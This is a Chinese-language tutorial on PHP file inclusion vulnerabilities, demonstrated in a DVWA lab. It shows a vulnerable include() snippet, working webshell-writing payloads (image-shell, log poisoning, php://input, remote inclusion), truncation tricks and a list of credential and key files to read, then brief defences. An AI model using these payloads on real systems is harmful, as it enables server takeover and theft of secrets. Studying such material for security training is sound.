原文鏈接:http://wyb0.com/posts/file-include-vulnerabilities/
環(huán)境:phpStudy 2016、DVWA v1.10
0x00 文件包含
程序開發(fā)人員一般會把重復使用的函數(shù)寫到單個文件中,需要使用某個函數(shù)時直接調用此文件,而無需再次編寫,這中文件調用的過程一般被稱為文件包含。
程序開發(fā)人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態(tài)調用,但正是由于這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。
幾乎所有腳本語言都會提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中卻非常少,甚至沒有,這是有些語言設計的弊端。
在PHP中經(jīng)常出現(xiàn)包含漏洞,但這并不意味這其他語言不存在。
0x01 常見文件包含函數(shù)
include():執(zhí)行到include時才包含文件,找不到被包含文件時只會產(chǎn)生警告,腳本將繼續(xù)執(zhí)行
require():只要程序一運行就包含文件,找不到被包含的文件時會產(chǎn)生致命錯誤,并停止腳本
include_once()和require_once():若文件中代碼已被包含則不會再次包含
0x02 利用條件
- 程序用include()等文件包含函數(shù)通過動態(tài)變量的范式引入需要包含的文件
- 用戶能夠控制該動態(tài)變量
注:PHP中只要文件內容符合PHP語法規(guī)范,包含時不管擴展名是什么都會被PHP解析,
若文件內容不符合PHP語法規(guī)范則會暴漏其源碼。包含不存在的文件則可能暴露路徑
0x03 漏洞危害
- 執(zhí)行任意代碼
- 讀取文件源碼或敏感信息
- 包含惡意文件控制網(wǎng)站
- 甚至控制服務器
0x04 漏洞分類
- 本地文件包含:可以包含本地文件,在條件允許時甚至能執(zhí)行代碼
- 讀敏感文件,讀PHP文件
- 包含日志文件GetShell
- 上傳圖片馬,然后包含從而GetShell
- 包含/proc/self/envion文件GetShell
- 包含data:或php://input等偽協(xié)議
- 若有phpinfo則可以包含臨時文件
- 遠程文件包含:可以直接執(zhí)行任意代碼
- 要保證php.ini中allow_url_fopen和allow_url_include要為On
0x05 漏洞挖掘
上AWVS或者自己寫代碼測試
0x06 本地包含GetShell
- 簡單代碼示例
<?php
if (@$_GET['page']) {
include("./action/".$_GET['page']);
} else {
include "./action/show.php";
}
?>

文件包含-上傳圖片馬

文件包含-驗證能包含圖片馬
-
包含圖片馬寫shell
- 生成包含
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>")?>的圖片馬 - 上傳后圖片路徑為../../hackable/uploads/aa.png
- 訪問
http://10.11.11.20/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/aa.png - 在fi這個文件夾下會看到生成shell.php,內容為
<?php eval($_POST['cmd']);?>
- 生成包含
包含日志GetShell(主要是得到日志的路徑)
在Linux下一般讀日志路徑:
文件包含漏洞讀取apache配置文件
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
默認位置/var/log/httpd/access_log
日志會記錄客戶端請求及服務器響應的信息,訪問http://www.xx.com/<?php phpinfo(); ?>時,<?php phpinfo(); ?>也會被記錄在日志里,也可以插入到User-Agent
[圖片上傳失敗...(image-b4c96-1529856486422)]
可以通過Burp Suite來繞過編碼

文件包含-包含日志
日志內容如下:

文件包含-包含日志

文件包含-包含日志
- 使用PHP封裝協(xié)議GetShell
allow_url_include=On時:
http://www.xxx.com/index.php?page=php://input
POST:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>") ?>
結果將在index.php所在文件下生成一句話文件shell.php
- %00截斷包含(PHP<5.3.4 and magic_quotes_gpc=Off,CVE-2006-7243)

文件包含-上傳圖片馬
還有一個路徑長度截斷,可以用.或/.或./截斷,Windows需要259個bytes,Linux需要4096個bytes
- phpinfo包含臨時文件GetShell
向phpinfo上傳文件則可以返回文件路徑,但是文件存在時間很短,
可以用程序持續(xù)上傳,然后就可以包含你上傳的文件了
- 包含環(huán)境變量文件GetShell
需要PHP運行在CGI模式
然后和包含日志一樣,在User-Agent修改為payload
0x07 本地包含讀文件
- 讀敏感文件

文件包含-讀敏感文件
可讀如下敏感文件:
Windows:
C:\boot.ini //查看系統(tǒng)版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存儲系統(tǒng)初次安裝的密碼
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件標識符)
/proc/mounts
/porc/config.gz
- 讀PHP文件源碼
直接包含php文件時會被解析,不能看到源碼,可以用封裝協(xié)議讀?。??page=php://filter/read=convert.base64-encode/resource=config.php
訪問上述URL后會返回config.php中經(jīng)過Base64加密后的字符串,解密即可得到源碼
0x08 遠程包含
注:遠程的文件名不能為php可解析的擴展名,allow_url_fopen和allow_url_include為On是必須的

文件包含-遠程包含
若在a.txt寫入
<?php fputs(fopen("shell.php","w"),"<?php @eval($_POST['cmd']); ?>") ?>,可直接寫shell
0x09 漏洞防御
PHP中使用open_basedir配置,將訪問限制在指定區(qū)域
過濾./\
禁止服務器遠程文件包含